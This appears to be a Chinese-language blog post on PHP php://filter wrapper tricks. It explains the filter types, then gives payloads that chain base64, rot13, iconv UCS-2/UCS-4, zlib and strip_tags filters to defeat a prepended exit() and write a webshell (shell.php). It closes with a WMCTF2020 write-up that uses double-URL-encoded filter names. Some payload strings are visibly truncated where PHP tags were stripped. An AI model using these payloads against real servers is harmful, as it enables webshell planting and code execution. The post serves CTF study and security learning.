PHP Filter
伪协议Trick
总结
前言:最近在学习的过程中碰到了很多的filter
协议的小trick
,在此做一个总结以及对filter
协议的一些探索。
PHP Filter
协议介绍
php://filter
是php
中独有的一种协议,它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64
编码处理,rot13
处理等。官方解释为:
php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
Filter
协议的使用方法
Filter
协议的一般语法为:
php://filter/过滤器|过滤器/resource=待过滤的数据流
其中过滤器可以设置多个,按照链式的方式依次对数据进行过滤处理。例如:
echo file_get_contents("php://filter/read=convert.base64-encode|convert.base64-encode/resource=data://text/plain,");
对这个字符串进行了两次
base64
编码处理。
php filter
的过滤器有很多种,根据官方文档(https://www.php.net/manual/zh/filters.php),大致可以分为四类:字符串过滤器、转换过滤器、压缩过滤器、加密过滤器
字符串过滤器
以string
字符串开头,常见的过滤器有rot13
、toupper
、tolower
、strip_tags
等,例如:
# string.rot13即对数据流进行str_rot13函数处理echo file_get_contents("php://filter/read=string.rot13/resource=data://text/plain,abcdefg");# 输出结果为nopqrst
toupper、tolower
是对字符串进行大小写转换处理:
file_get_contents("php://filter/read=string.toupper/resource=data://text/plain,abcdefg");
strip_tags
对数据流进行strip_tags
函数的处理,该函数功能为剥去字符串中的 HTML
、XML
以及 PHP
的标签,简单理解就是包含有尖括号中的东西。
file_get_contents("php://filter/read=string.strip_tags/resource=data://text/plain,s");# 结果返回s
转换过滤器
主要含有三类,分别是base64
的编码转换、quoted-printable
的编码转换以及iconv
字符编码的转换。该类过滤器以convert
开头。
base64
的编码转换操作,例如:
file_get_contents("php://filter/read=convert.base64-encode/resource=data://text/plain,m1sn0w");
Quoted-printable
可译为可打印字符引用编码,可以理解为将一些不可打印的ASCII
字符进行一个编码转换,转换成=
后面跟两个十六进制数,例如:
file_get_contents("php://filter/read=convert.quoted-printable-encode/resource=data://text/plain,m1sn0w".chr(12));# 输出为m1sn0w=0C
iconv
过滤器也就是对输入输出的数据进行一个编码转换,其格式为convert.iconv.
或者convert.iconv.
,表达的意思都是相同的,即将输入的字符串编码转换成输出指定的编码,例如:
file_get_contents("php://filter/read=convert.iconv.utf-8.utf-16/resource=data://text/plain,m1sn0w".chr(12));
压缩过滤器
主要有两类,zlib
和bzip2
,其中zlib.deflate
和bzip2.compress
用于压缩,zlib.inflate
和bzip2.decompress
用于解压缩。
加密过滤器
以mcrypt
开头,后面指定一个加密算法。本特性已自PHP 7.1.0
起废弃。强烈建议不要使用本特性。
Filter
协议的一些Trick
php://filter
⾯对不可⽤的规则只是报个Warning,之后会跳过继续执行。
绕过死亡exit
有时候会碰到这种情况:
file_put_contents($filename,"
这时,如果想要写入WebShell
,就需要利用到过滤器来进行一些操作,将输入的字符串中的exit()
函数处理掉或者让它失效,从而达到代码执行的目的。
下面总结一些比较常见的绕过方式:
Base64
编码绕过
Base64
在进行解码的时候,是4个字符一组进行解码,也就是说如果构造一个字符串如aaaabTFzbjB3
,前面的四个a
会被当成一组进行正常解码,后面真正的base64
编码也就会正常解码。因此在使用base64
编码绕过该限制的时候,需要自己补一些填充符,让前面需要绕过的字符串组合起来长度是4的倍数,因为前面参数解码的字符串只有phpexit
,因此上述的绕过方式为:
$filename = "php://filter/write=convert.base64-decode/resource=shell.php";$content = "aPD9waHAgcGhwaW5mbygpOz8+"
rot13
绕过
方式和base64
类似,将payload
转换一下即可:
$filename = "php://filter/write=string.rot13/resource=shell.php";$content = "";
组合方式绕过
例如使用strip_tags
和base64
进行绕过:
$filename = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";$content = "?>PD9waHAgcGhwaW5mbygpOz8+";
文件内容变量相同绕过
比如下面这种情况:文件名和拼写的内容相同,还需要绕过exit
file_put_contents($content,"
如果没有exit
的话,这种写入方式就比较简单,例如:
$content = "php://filter/write=/resource=shell.php";
这里主要是因为php://filter
在遇到不认识的过滤器的时候,只会进行一个警告,然后继续后面的执行。
这里回到主题,如果绕过上述的exit
。
利用rot13
绕过
构造如下payload
:前提是目标服务器没有开启短标签。
$content = "php://filter/write=string.rot13|/resource=shell.php";
iconv
字符编码转换
这里用到几种编码:
UCS-2:对目标字符串进行2位一反转UCS-4:对目标字符串进行4位一反转
payload
生成:
aa";echo iconv("UCS-4LE","UCS-4BE",$a);
因此,对于上述的绕过,可以使用如下payload
:
# 2位一反转$content = "php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|??/resource=shell.php";# 4位一反转(注意添加一些填充位)$content = "php://filter/write=convert.iconv.UCS-4LE.UCS-4BE|aa??;)/resource=shell.php";
利用压缩过滤器进行绕过
使用到zlib.inflate
和zlib.deflate
,将数据压缩以后再进行解压,而关键就在于如何在解压的时候将exit
去掉。
在zlib.inflate
和zlib.deflate
过滤器的中间加上一个字符串过滤器,会将exit
解压成其他的字串,例如:
$content = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|?>/resource=shell.php';file_put_contents($content,'
组合绕过方式
感觉能单个过滤器绕过的,就可以不用多个过滤器一起组合绕过。
strip_tags
+base64
编码绕过
绕过思路就是:闭合前面的标签,并使用
strip_tags
进行处理过滤,然后正常base64
解码
构造payload如下:
$content = "php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php";
这里其实还有一个小trick
,就是resource
后面的路径,php://filter
仍然会将其视作位过滤器进行一个过滤处理,例如:
$content = "php://filter/resource=./convert.base64-encode/../shell.php";
[WMCTF2020]Web Check in 2.0
源代码如下:
这里带有几个trick
,第一个就是伪协议在调用过滤器的时候,会对过滤器进行url
解码一次,例如构造如下内容:
$content = "php://filter/write=%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65/resource=shell.php";file_put_contents($content,"
仍然会对字符串进行base64
编码操作,因此,这里尝试利用二次编码的方式,绕过死亡exit
,并写入shell
:
# payload如下:访问获取到phpinfo界面content=php://filter/write=%2563%256f%256e%2576%2565%2572%2574%252e%2569%2563%256f%256e%2576%252e%2555%2543%2553%252d%2532%254c%2545%252e%2555%2543%2553%252d%2532%2542%2545|??/resource=shell.php# 尝试命令执行content=php://filter/write=%2563%256f%256e%2576%2565%2572%2574%252e%2569%2563%256f%256e%2576%252e%2555%2543%2553%252d%2532%254c%2545%252e%2555%2543%2553%252d%2532%2542%2545|aa?/resource=shell.php
蚁剑连接,在根目录获取到flag
:
第二种方法是利用压缩过滤器来进行绕过,使用到zlib.inflate
和zlib.deflate
,解题思路就是将数据压缩以后再进行解压,而关键就在于如何在解压的时候将exit
去掉。
在zlib.inflate
和zlib.deflate
过滤器的中间加上一个字符串过滤器,会将exit
解压成其他的字串,例如:
$content = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|?>/resource=shell.php';file_put_contents($content,'
第三种方式是利用php7
版本,在使用伪协议string.strip_tags
时会发生段错误,然后将上传的文件报错在tmp
目录下面,可以利用爆破的方式+文件包含利用,获取到Shell
文章小结
Filter
过滤器在很多时候都非常有用,不论是任意文件读取,还是Webshell
的写入。本篇文章总结了几个小trick
,例如绕过exit
,resource
后面可继续跟过滤器、伪协议在处理过滤器的时候会进行URL
编码等,感觉每一个都会有助于攻击方式的扩展。
参考文章
关于file_put_contents的一些小测试(https://cyc1e183.github.io/2020/04/03/关于file_put_contents的一些小测试/)
WMCTF2020官方writeup(https://github.com/wm-team/WMCTF2020-WriteUp/blob/master/WMCTF_2020官方WriteUp.pdf)
php官方文档(https://www.php.net/manual/zh/filters.compression.php)
来源地址:https://blog.csdn.net/gental_z/article/details/122303393